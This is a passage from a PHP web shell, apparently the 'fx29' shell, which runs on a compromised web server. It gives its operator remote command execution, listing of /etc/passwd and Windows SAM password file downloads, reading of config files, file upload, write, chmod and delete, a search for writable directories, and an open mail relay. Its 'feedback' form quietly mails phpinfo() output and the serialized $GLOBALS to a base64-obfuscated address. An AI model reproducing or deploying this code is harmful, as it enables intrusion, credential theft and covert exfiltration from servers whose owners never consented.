1114 <tr><td>Open Base Dir</td><td><?php echo $hopenbasedir; ?></td></tr>
1115 <td>Password File</td><td>
1116<?php
1117 if (!is_windows()) {
1118 if ($nixpasswd) {
1119 if ($nixpasswd == 1) $nixpasswd = 0;
1120 if (!is_numeric($nixpwd_s)) $nixpwd_s = 0;
1121 if (!is_numeric($nixpwd_e)) $nixpwd_e = $nixpwdperpage;
1122?>
1123 *nix /etc/passwd:<br>
1124 <form name="f_pwd" action="<?php echo $surl; ?>">
1125 <input type="hidden" name="act" value="security">
1126 <input type="hidden" name="nixpasswd" value="1">
1127 <b>From:</b>
1128 <input type="text" name="nixpwd_s" value="<?php echo $nixpwd_s; ?>">
1129 <b>To:</b>
1130 <input type="text" name="nixpwd_e" value="<?php $nixpwd_e; ?>">
1131 <input type="submit" value="View">
1132 </form><br>
1133<?php
1134 $i = $nixpwd_s;
1135 while ($i < $nixpwd_e) {
1136 $uid = posix_getpwuid($i);
1137 if ($uid) {
1138 $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
1139 echo "\t\t".join(":",$uid)."<br>\n";
1140 }
1141 $i++;
1142 }
1143 }
1144 else { echo "\t<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>View /etc/passwd</b></a>\n"; }
1145 }
1146 else {
1147 $v = $_SERVER["WINDIR"].'\repair\sam';
1148 if (file_get_contents($v)) {
1149 echo "\t<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b></a>\n";
1150 }
1151 }
1152?>
1153 </td></tr>
1154 <tr><td>Config Files</td><td>
1155<?php
1156 if (!is_windows()) {
1157 $v = array(
1158 array("User Domains","/etc/userdomains"),
1159 array("Cpanel Config","/var/cpanel/accounting.log"),
1160 array("Apache Config","/usr/local/apache/conf/httpd.conf"),
1161 array("Apache Config","/etc/httpd.conf"),
1162 array("Syslog Config","/etc/syslog.conf"),
1163 array("Message of The Day","/etc/motd"),
1164 array("Hosts","/etc/hosts")
1165 );
1166 $sep = "/";
1167 }
1168 else {
1169 $windir = $_SERVER["WINDIR"];
1170 $etcdir = $windir.'\system32\drivers\etc\\';
1171 $v = array(
1172 array("Hosts",$etcdir."hosts"),
1173 array("Local Network Map",$etcdir."networks"),
1174 array("LM Hosts",$etcdir."lmhosts.sam"),
1175 );
1176 $sep = "\\";
1177 }
1178
1179 foreach ($v as $sec_arr) {
1180 $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
1181 $sec_d = rtrim($sec_arr[1],$sec_f);
1182 $sec_full = $sec_d.$sec_f;
1183 $sec_d = rtrim($sec_d,$sep);
1184 if (file_get_contents($sec_full)) {
1185 echo "\t[ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ]\n";
1186 }
1187 }
1188?>
1189 </td></tr>
1190<?php
1191 function dispsecinfo($name,$value) {
1192 if ( !empty($value) ) {
1193 echo "\t<tr><td>".$name."</td><td>\n".
1194 "<pre>".wordwrap($value, 100)."</pre>\n".
1195 "\t</td></tr>\n";
1196 }
1197 }
1198
1199 if ( !is_windows() ) {
1200 dispsecinfo("OS Version",fx29exec("cat /proc/version"));
1201 dispsecinfo("Kernel Version",fx29exec("sysctl -a | grep version"));
1202 dispsecinfo("Distrib Name",fx29exec("cat /etc/issue.net"));
1203 dispsecinfo("Distrib Name (2)",fx29exec("cat /etc/*-realise"));
1204 dispsecinfo("CPU Info",fx29exec("cat /proc/cpuinfo"));
1205 dispsecinfo("RAM",fx29exec("free -m"));
1206 dispsecinfo("HDD Space",fx29exec("df -h"));
1207 dispsecinfo("List of Attributes",fx29exec("lsattr -a"));
1208 dispsecinfo("Mount Options",fx29exec("cat /etc/fstab"));
1209 dispsecinfo("lynx installed?",fx29exec("which lynx"));
1210 dispsecinfo("links installed?",fx29exec("which links"));
1211 dispsecinfo("GET installed?",fx29exec("which GET"));
1212 dispsecinfo("Where is Apache?",fx29exec("whereis apache"));
1213 dispsecinfo("Where is perl?",fx29exec("whereis perl"));
1214 dispsecinfo("Locate proftpd.conf",fx29exec("locate proftpd.conf"));
1215 dispsecinfo("Locate httpd.conf",fx29exec("locate httpd.conf"));
1216 dispsecinfo("Locate my.conf",fx29exec("locate my.conf"));
1217 dispsecinfo("Locate psybnc.conf",fx29exec("locate psybnc.conf"));
1218 }
1219 else {
1220 dispsecinfo("OS Version",fx29exec("ver"));
1221 dispsecinfo("Account Settings",fx29exec("net accounts"));
1222 dispsecinfo("User Accounts",fx29exec("net user"));
1223 }
1224 echo "</table>\n";
1225 }
1226 ##[ MAKE FILE ]##
1227 if ($act == "mkfile") {
1228 if ($mkfile != $d) {
1229 if ($overwrite == 0) {
1230 if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); }
1231 }
1232 else {
1233 if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); }
1234 else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {
1235 $d .= DIRECTORY_SEPARATOR;
1236 }
1237 $f = basename($mkfile);
1238 }
1239 }
1240 }
1241 else { disp_error("Enter filename!"); }
1242 }
1243 ##[ ENCODER ]##
1244 if ($act == "encoder") {
1245 if ( !isset($encoder_input) ) $encoder_input = "";
1246 bar_header(".: Encoder :.");
1247?>
1248<script language="javascript">
1249function set_encoder_input(text) {
1250 document.forms.encoder.input.value = text;
1251}
1252</script>
1253<form name="encoder" action="<?php echo $surl; ?>" method="post">
1254 <input type="hidden" name="act" value="encoder">
1255 <table class="contents">
1256 <tr><td colspan="2">Input:</td><td><textarea name="encoder_input" id="input" cols="70" rows="5"><?php echo @htmlspecialchars($encoder_input); ?></textarea><br>
1257 <input type="submit" value="Calculate">
1258 </td></tr>
1259 <tr><td rowspan="4">Hashes:</td>
1260<?php
1261 foreach(array("md5","crypt","sha1","crc32") as $v) {
1262?>
1263 <td><?php echo $v; ?>:</td><td><input type="text" size="50" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<?php echo $v($encoder_input); ?>" readonly>
1264 </td></tr>
1265 <tr>
1266<?php
1267 }
1268?>
1269 </tr>
1270 <tr><td rowspan=2>Url:</td><td>urlencode:</td><td><input type="text" size="35" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<?php echo urlencode($encoder_input); ?>" readonly></td></tr>
1271 <tr><td>urldecode:</td><td><input type="text" size="35" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<?php echo htmlspecialchars(urldecode($encoder_input)); ?>" readonly></td></tr>
1272 <tr><td rowspan=2>Base64:</td><td>base64_encode:</td><td><input type="text" size="35" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<?php echo base64_encode($encoder_input); ?>" readonly></td></tr>
1273 <tr><td>base64_decode:</td>
1274 <td>
1275<?php
1276 if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {
1277?>
1278 <input type="text" size="35" value="Failed!" disabled readonly>
1279<?php
1280 }
1281 else {
1282 $debase64 = base64_decode($encoder_input);
1283 $debase64 = str_replace("\0","[0]",$debase64);
1284 $a = explode("\r\n",$debase64);
1285 $rows = count($a);
1286 $debase64 = htmlspecialchars($debase64);
1287 if ($rows == 1) {
1288 echo "\t\t<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";
1289 }
1290 else {
1291 $rows++;
1292 echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";
1293 }
1294 echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>\n";
1295 }
1296 echo "\t\t</td></tr>\n".
1297 "\t\t<tr><td>Base convertations:</td><td>dec2hex</td><td>".
1298 "<input type=\"text\" size=\"35\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"\"";
1299 $c = strlen($encoder_input);
1300 for ($i=0;$i<$c;$i++) {
1301 $hex = dechex(ord($encoder_input[$i]));
1302 if ($encoder_input[$i] == "&") { echo $encoder_input[$i]; }
1303 elseif ($encoder_input[$i] != "\\") { echo "%".$hex; }
1304 }
1305 echo "\" readonly>\n";
1306?>
1307 </td></tr>
1308 </table>
1309</form>
1310<?php
1311 }
1312 ##[ FILESYSTEM BUFFER ]##
1313 if ($act == "fsbuff") {
1314 $arr_copy = $sess_data["copy"];
1315 $arr_cut = $sess_data["cut"];
1316 $arr = array_merge($arr_copy,$arr_cut);
1317 if (count($arr) == 0) {
1318 echo "<h2><center>Buffer is empty!</center></h2>";
1319 }
1320 else {
1321 $fx_infohead = "File-System Buffer";
1322 $ls_arr = $arr;
1323 $disp_fullpath = TRUE;
1324 $act = "ls";
1325 }
1326 }
1327 ##[ SELF REMOVE ]##
1328 if ( $act == "selfremove" ) {
1329?>
1330<div class="barheader">
1331 .: SELF KILL :.
1332 <hr size="1" noshade>
1333
1334<?php
1335 if ((@$submit == @$rndcode) && (@$submit != "")) {
1336 if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".sh_name()."!"; alecsexit(); }
1337 else { disp_error("Can't delete ".__FILE__."!"); }
1338 }
1339 else {
1340 if (!empty($rndcode)) { disp_error("Error: Incorrect confirmation code!"); }
1341 $rnd = rand(0,9).rand(0,9).rand(0,9);
1342?>
1343<form name="f_killshell" action="<?php echo $surl; ?>">
1344 <input type="hidden" name="act" value="selfremove">
1345 <input type="hidden" name="rndcode" value="<?php echo $rnd; ?>">
1346 Are you sure want to remove this shell ?<br>
1347 <?php disp_error(__FILE__); ?>
1348 <br>For confirmation, enter "<?php echo $rnd; ?>"<br>
1349 <input type="text" name="submit"><br>
1350 <input type="submit" value="KILL">
1351</form>
1352</div>
1353<?php
1354 }
1355 }
1356 ##[ FEEDBACK ]##
1357 if ($act == "feedback") {
1358 $suppmail = base64_decode("YWxlY3NbYXRdc2xhY2tlcmMwZGVbZG90XXVz");
1359 if (!empty($submit)) {
1360 $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
1361 $body = sh_name()." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
1362 if (!empty($fdbk_ref)) {
1363 $tmp = @ob_get_contents();
1364 ob_clean();
1365 phpinfo();
1366 $phpinfo = base64_encode(ob_get_contents());
1367 ob_clean();
1368 echo $tmp;
1369 $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
1370 }
1371 mail($suppmail, sh_name()." feedback #".$ticket, $body, "FROM: ".$suppmail);
1372 echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
1373 }
1374 else {
1375 bar_header(".: Feedback or report bug (" . str_replace(array("@","."), array("[at]","[dot]"), $suppmail) . ") :.");
1376?>
1377
1378<form name="f_feedback" action="<?php echo $surl; ?>" method="post">
1379 <input type="hidden" name="act" value="feedback">
1380 <table class="contents">
1381 <tr><th>Your name:</th><td><input type="text" name="fdbk_name" value="<?php echo htmlspecialchars(@$fdbk_name); ?>"></td</tr>
1382 <tr><th>Your e-mail:</th><td><input type="text" name="fdbk_email" value="<?php echo htmlspecialchars(@$fdbk_email); ?>"></td></tr>
1383 <tr><th>Message:</th><td><textarea name="fdbk_body" cols=80 rows=10><?php echo htmlspecialchars(@$fdbk_body); ?></textarea>
1384 <input type="hidden" name="fdbk_ref" value="<?php echo urlencode($HTTP_REFERER); ?>"><br>
1385 <input type="checkbox" name="fdbk_servinf" value="1" checked> Attach Server info (Recommended for bug-fix)</td></tr>
1386 <tr><td></td><td><input type="submit" name="submit" value="Send"></td></tr>
1387 </table>
1388</form>
1389<?php
1390 }
1391 }
1392 ##[ PHP MAILER ]##
1393 if ($act == "fxmailer") {
1394 bar_header(".: Mailer :.");
1395 if (!empty($submit)){
1396 $headers = 'To: '.$dest_email."\n";
1397 $headers .= 'From: '.$sender_name.' '.$sender_email."\n";
1398 if (mail($dest_email,$sender_subj,$sender_body,$headers)) {
1399 echo "<center><b>Email sent to $dest_email!</b></center>";
1400 }
1401 else { disp_error("Can't send email!"); }
1402 }
1403 else {
1404 ?>
1405<form name="f_mailer" action="<?php echo $surl; ?>" method="post">
1406 <input type="hidden" name="act" value="fxmailer">
1407 <table class="contents">
1408 <tr><th>Your name:</th><td><input type="text" name="sender_name" value="<?php echo @htmlspecialchars($sender_name); ?>"></td></tr>
1409 <tr><th>Your e-mail:</th><td><input type="text" name="sender_email" value="<?php echo @htmlspecialchars($sender_email); ?>"></td></tr>
1410 <tr><th>To:</th><td><input type="text" name="dest_email" value="<?php @htmlspecialchars($dest_email); ?>"></td></tr>
1411 <tr><th>Subject:</th><td><input size="70" type="text" name="sender_subj" value="<?php echo @htmlspecialchars($sender_subj); ?>"></td></tr>
1412 <tr><th>Message:</th><td><textarea name="sender_body" cols="80" rows="10"><?php echo @htmlspecialchars($sender_body); ?></textarea></td></tr>
1413 <tr><th></th><td><input type="submit" name="submit" value="Send"></td></tr>
1414 </table>
1415</form>
1416<?php
1417 }
1418 }
1419 ##[ SEARCH ]##
1420 if ($act == "search") {
1421 bar_header(".: Filesystem Search :.");
1422 if (empty($search_in)) {$search_in = $d;}
1423 if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
1424 if (empty($search_text_wwo)) {$search_text_regexp = 0;}
1425 if (!empty($submit)) {
1426 $found = array();
1427 $found_d = 0;
1428 $found_f = 0;
1429 $search_i_f = 0;
1430 $search_i_d = 0;
1431 $a = array(
1432 "name" => @$search_name,
1433 "name_regexp" => @$search_name_regexp,
1434 "text" => @$search_text,
1435 "text_regexp" => @$search_text_regxp,
1436 "text_wwo" => @$search_text_wwo,
1437 "text_cs" => @$search_text_cs,
1438 "text_not" => @$search_text_not
1439 );
1440 $searchtime = getmicrotime();
1441 $in = array_unique(explode(";",$search_in));
1442 foreach($in as $v) { fx29fsearch($v); }
1443 $searchtime = round(getmicrotime()-$searchtime,4);
1444 if (count($found) == 0) { echo "No files found!"; }
1445 else {
1446 $ls_arr = $found;
1447 $disp_fullpath = TRUE;
1448 $act = "ls";
1449 }
1450 }
1451?>
1452<form name="f_search" method="post">
1453 <input type="hidden" name="d" value="<?php echo $dispd; ?>">
1454 <input type="hidden" name="act" value="<?php echo $dspact; ?>">
1455 <table class="contents">
1456 <tr><th>File or folder Name:</th><td><input type="text" name="search_name" size="<?php echo round(strlen($search_name)+25); ?>" value="<?php echo htmlspecialchars($search_name); ?>"> <input type="checkbox" name="search_name_regexp" value="1" <?php echo (@$search_name_regexp == 1?" checked":""); ?>> Regular Expression</td></tr>
1457 <tr><th>Look in (Separate by ";"):</th><td><input type="text" name="search_in" size="<?php echo round(strlen($search_in)+25); ?>" value="<?php echo htmlspecialchars($search_in); ?>"></td></tr>
1458 <tr><th>A word or phrase in the file:</th><td><textarea name="search_text" cols="50" rows="5"><?php echo htmlspecialchars(@$search_text); ?></textarea></td></tr>
1459 <tr><th></th><td>
1460 <input type="checkbox" name="search_text_regexp" value="1" <?php echo (@$search_text_regexp == 1?" checked":""); ?>> Regular Expression
1461 <input type="checkbox" name="search_text_wwo" value="1" <?php echo (@$search_text_wwo == 1?" checked":""); ?>> Whole words only
1462 <input type="checkbox" name="search_text_cs" value="1" <?php echo (@$search_text_cs == 1?" checked":""); ?>> Case sensitive
1463 <input type="checkbox" name="search_text_not" value="1" <?php echo (@$search_text_not == 1?" checked":""); ?>> Find files NOT containing the text
1464 </td></tr>
1465 <tr><th></th><td><input type="submit" name="submit" value="Search"></td></tr>
1466 </table>
1467</form>
1468<?php
1469 if ($act == "ls") {
1470 $dspact = $act;
1471 echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>\n".
1472 "<hr size=\"1\" noshade>\n";
1473 }
1474 }
1475 ##[ CHMOD]##
1476 if ($act == "chmod") {
1477 $mode = fileperms($d.$f);
1478 if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
1479 else {
1480 $form = TRUE;
1481 if ($chmod_submit) {
1482 $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
1483 if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; }
1484 else {$err = "Can't chmod to ".$octet.".";}
1485 }
1486 if ($form) {
1487 $perms = parse_perms($mode);
1488 echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b>\n".
1489 "<br>".($err?"<b>Error:</b> ".$err:"")."\n".
1490 "<form name=\"f_chmod\" action=\"".$surl."\" method=\"post\">\n".
1491 "<input type=hidden name=d value=\"".htmlspecialchars($d)."\">\n".
1492 "<input type=hidden name=f value=\"".htmlspecialchars($f)."\">\n".
1493 "<input type=hidden name=act value=chmod>\n".
1494 "<table><tr>\n".
1495 "<td><b>Owner</b><br><br>\n".
1496 "<input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br>\n".
1497 "<input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br>\n".
1498 "<input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"")."> eXecute</td>\n".
1499 "<td><b>Group</b><br><br>\n".
1500 "<input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br>\n".
1501 "<input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br>\n".
1502 "<input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"")."> eXecute</td>\n".
1503 "<td><b>World</b><br><br>\n".
1504 "<input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br>\n".
1505 "<input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br>\n".
1506 "<input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"")."> eXecute</td>\n".
1507 "</tr>\n".
1508 "<tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr>\n".
1509 "</table>\n".
1510 "</form>\n";
1511 }
1512 }
1513 }
1514 ##[ UPLOAD ]##
1515 if ($act == "upload") {
1516 $uploadmess = "";
1517 $uploadpath = (isset($uploadpath)) ? str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath) : $d;
1518 if (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) { $uploadpath .= DIRECTORY_SEPARATOR; }
1519 if (!empty($submit)) {
1520 $uploadfile = $_FILES["uploadfile"];
1521 if (!empty($uploadfile["tmp_name"])) {
1522 if (empty($uploadfilename)) { $destin = $uploadfile["name"]; }
1523 else { $destin = $userfilename; }
1524 if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
1525 $uploadmess .= "<div class=errmsg>Error uploading file ".$uploadfile["name"]." (Can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!</div>";
1526 }
1527 else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
1528 }
1529 else { $uploadmess .= "<div class=errmsg>No file to upload!</div>"; }
1530 }
1531 echo $uploadmess;
1532 $act = "ls";
1533 }
1534 ##{ DELETE }##
1535 if ($act == "delete") {
1536 $delerr = "";
1537 foreach ($actbox as $v) {
1538 $result = FALSE;
1539 $result = fs_rmobj($v);
1540 if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>"; }
1541 }
1542 if (!empty($delerr)) { disp_error("Error deleting:<br>$delerr"); }
1543 $act = "ls";
1544 }
1545 ##[ COPY ]##
1546 if ($act == "copy") {
1547 $err = "";
1548 $sess_data["copy"] = array_merge($sess_data["copy"],$actbox);
1549 fx29_sess_put($sess_data);
1550 $act = "ls";
1551 }
1552 ##[ CUT ]##
1553 elseif ($act == "cut") {
1554 $sess_data["cut"] = array_merge($sess_data["cut"],$actbox);
1555 fx29_sess_put($sess_data);
1556 $act = "ls";
1557 }
1558 ##[ UNSELECT ]##
1559 elseif ($act == "unselect") {
1560 foreach ($sess_data["copy"] as $k=>$v) {
1561 if (in_array($v,$actbox)) { unset($sess_data["copy"][$k]); }
1562 }
1563 foreach ($sess_data["cut"] as $k=>$v) {
1564 if (in_array($v,$actbox)) { unset($sess_data["cut"][$k]); }
1565 }
1566 fx29_sess_put($sess_data);
1567 $act = "ls";
1568 }
1569 ##[ EMPTY BUFFER ]##
1570 if (@$actemptybuff) { $sess_data["copy"] = $sess_data["cut"] = array(); fx29_sess_put($sess_data); }
1571 ##[ PASTE BUFFER ]##
1572 elseif (@$actpastebuff) {
1573 $psterr = "";
1574 foreach($sess_data["copy"] as $k=>$v) {
1575 $to = $d.basename($v);
1576 if (!fs_copy_obj($v,$to)) { $psterr .= "Can't copy ".$v." to ".$to."!<br>"; }
1577 if ($copy_unset) { unset($sess_data["copy"][$k]); }
1578 }
1579 foreach($sess_data["cut"] as $k=>$v) {
1580 $to = $d.basename($v);
1581 if (!fs_move_obj($v,$to)) { $psterr .= "Can't move ".$v." to ".$to."!<br>"; }
1582 unset($sess_data["cut"][$k]);
1583 }
1584 fx29_sess_put($sess_data);
1585 if (!empty($psterr)) { disp_error("Pasting with errors:<br>$psterr"); }
1586 $act = "ls";
1587 }
1588 ##[ ARCHIVE BUFFER ]##
1589 elseif (@$actarcbuff) {
1590 $arcerr = "";
1591 if (substr($actarcbuff_path,-7,7) == ".tar.gz") { $ext = ".tar.gz"; }
1592 else { $ext = ".tar.gz"; }
1593 if ($ext == ".tar.gz") { $cmdline = "tar cfzv"; }
1594 $cmdline .= " ".$actarcbuff_path;
1595 $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
1596 foreach($objects as $v) {
1597 $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
1598 if (substr($v,0,strlen($d)) == $d) { $v = basename($v); }
1599 if (is_dir($v)) {
1600 if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
1601 $v .= "*";
1602 }
1603 $cmdline .= " ".$v;
1604 }
1605 $tmp = realpath(".");
1606 chdir($d);
1607 $ret = fx29exec($cmdline);
1608 chdir($tmp);
1609 if (empty($ret)) { $arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>"; }
1610 $ret = str_replace("\r\n","\n",$ret);
1611 $ret = explode("\n",$ret);
1612 if ($copy_unset) { foreach($sess_data["copy"] as $k=>$v) { unset($sess_data["copy"][$k]); } }
1613 foreach($sess_data["cut"] as $k=>$v) {
1614 if (in_array($v,$ret)) { fs_rmobj($v); }
1615 unset($sess_data["cut"][$k]);
1616 }
1617 fx29_sess_put($sess_data);
1618 if (!empty($arcerr)) { disp_error("Archivation errors:<br>$arcerr"); }
1619 $act = "ls";
1620 }
1621 ##[ CMD ]##
1622 if ($act == "cmd") {
1623 @chdir($chdir);
1624 if (!empty($submit)) {
1625 bar_header(".: Command Output :.");
1626 $olddir = realpath(".");
1627 @chdir($d);
1628 $ret = fx29exec($cmd);
1629 $ret = convert_cyr_string($ret,"d","w");
1630 if ($cmd_txt) {
1631 $rows = count(explode("\n",$ret))+1;
1632 if ($rows < 10) { $rows = 10; } else { $rows = 30; }
1633 $cols = 125;
1634 echo "<textarea class=\"shell\" cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>\n";
1635 }
1636 else { echo $ret."<br>"; }
1637 @chdir($olddir);
1638 }
1639 }
1640 ##[ PHP FILESYSTEM ]##
1641 if ($act == "phpfsys") {
1642 echo "<div align=left>";
1643 $fsfunc = $phpfsysfunc;
1644 if ($fsfunc=="copy") {
1645 if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
1646 else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
1647 }
1648 elseif ($fsfunc=="rename") {
1649 if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
1650 else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
1651 }
1652 elseif ($fsfunc=="chmod") {
1653 if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
1654 else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
1655 }
1656 elseif ($fsfunc=="read") {
1657 $darg = $d.$arg1;
1658 if ($hasil = @file_get_contents($darg)) {
1659 echo "<b>Filename:</b> ".$darg."<br>";
1660 echo "<center><textarea cols=125 rows=30>";
1661 echo htmlentities($hasil);
1662 echo "</textarea></center>\n";
1663 }
1664 else { disp_error("Couldn't open $darg"); }
1665 }
1666 elseif ($fsfunc=="write") {
1667 $darg = $d.$arg1;
1668 if(@file_put_contents($darg,$arg2)) {
1669 echo "<b>Saved!</b> ".$darg;
1670 }
1671 else { disp_error("Can't write to $darg!"); }
1672 }
1673 elseif ($fsfunc=="downloadbin") {
1674 $handle = fopen($arg1, "rb");
1675 $contents = '';
1676 while (!feof($handle)) {
1677 $contents .= fread($handle, 8192);
1678 }
1679 $r = @fopen($d.$arg2,'w');
1680 if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
1681 else { disp_error("Can't write to ".$d.$arg2."!"); }
1682 fclose($r);
1683 fclose($handle);
1684 }
1685 elseif ($fsfunc=="download") {
1686 $text = implode('', file($arg1));
1687 if ($text) {
1688 $r = @fopen($d.$arg2,'w');
1689 if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
1690 else { disp_error("Can't write to ".$d.$arg2."!"); }
1691 fclose($r);
1692 }
1693 else { disp_error("Can't download from $arg1!");}
1694 }
1695 elseif ($fsfunc=='mkdir') {
1696 $thedir = $d.$arg1;
1697 if ($thedir != $d) {
1698 if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
1699 elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
1700 else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
1701 }
1702 else { echo "Can't create current dir:<b> $thedir</b>"; }
1703 }
1704 elseif ($fsfunc=='fwritabledir') {
1705 function recurse_dir($dir,$max_dir) {
1706 global $dir_count;
1707 $dir_count++;
1708 if( $cdir = dir($dir) ) {
1709 while( $entry = $cdir-> read() ) {
1710 if( $entry != '.' && $entry != '..' ) {
1711 if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
1712 if ($dir_count > $max_dir) { return; }
1713 echo "[".$dir_count."] ".$dir.$entry."\n";
1714 recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
1715 }
1716 }
1717 }
1718 $cdir->close();
1719 }
1720 }
1721 if (!$arg1) { $arg1 = $d; }
1722 if (!$arg2) { $arg2 = 10; }
1723 if (is_dir($arg1)) {
1724 echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>";
1725 echo "<pre>";
1726 recurse_dir($arg1,$arg2);
1727 echo "</pre>";
1728 $total = $dir_count - 1;
1729 echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2";
1730 }
1731 else {
1732 disp_error("Directory is not exists or permission denied!");
1733 }
1734 }
1735 else {
1736 if (!$arg1) { disp_error("No operation! Please fill 1st parameter!"); }
1737 else {
1738 if ($hasil = $fsfunc($arg1)) {
1739 echo "<b>Result of $fsfunc $arg1:</b><br>";
1740 if (!is_array($hasil)) { echo "$hasil\n"; }
1741 else {
1742 echo "<pre>";
1743 foreach ($hasil as $v) { echo $v."\n"; }
1744 echo "</pre>";
1745 }
1746 }
1747 else { disp_error("$fsfunc $arg1 failed!"); }
1748 }
1749 }
1750 echo "</div>\n";
1751 }
1752 ##[ DIRECTORY LIST ]##
1753 if ($act == "ls") {
1754 if (count($ls_arr) > 0) { $list = $ls_arr; }
1755 else {
1756 $list = array();
1757 if ($h = @opendir($d)) {
1758 while (($o = readdir($h)) !== FALSE) { $list[] = $d.$o; }
1759 closedir($h);
1760 }
1761 }
1762 if (count($list) == 0) {
1763 disp_error("No such directory or access denied!<br>".htmlspecialchars($d));
1764 }
1765 else {
1766 $objects = array();
1767 $vd = "f"; #Viewing mode
1768 if ($vd == "f") {
1769 $objects["head"] = array();
1770 $objects["folders"] = array();
1771 $objects["links"] = array();
1772 $objects["files"] = array();
1773 foreach ($list as $v) {
1774 $o = basename($v);
1775 $row = array();
1776 if ($o == ".") { $row[] = $d.$o; $row[] = "CURDIR"; }
1777 elseif ($o == "..") { $row[] = $d.$o; $row[] = "DIR"; }
1778 elseif (is_dir($v)) {
1779 if (is_link($v)) { $type = "LINK"; }
1780 else { $type = "DIR"; }
1781 $row[] = $v;
1782 $row[] = $type;
1783 }
1784 elseif(is_file($v)) { $row[] = $v; $row[] = filesize($v); }
1785 $row[] = filemtime($v);
1786 if (!is_windows()) {
1787 $ow = posix_getpwuid(fileowner($v));
1788 $gr = posix_getgrgid(filegroup($v));
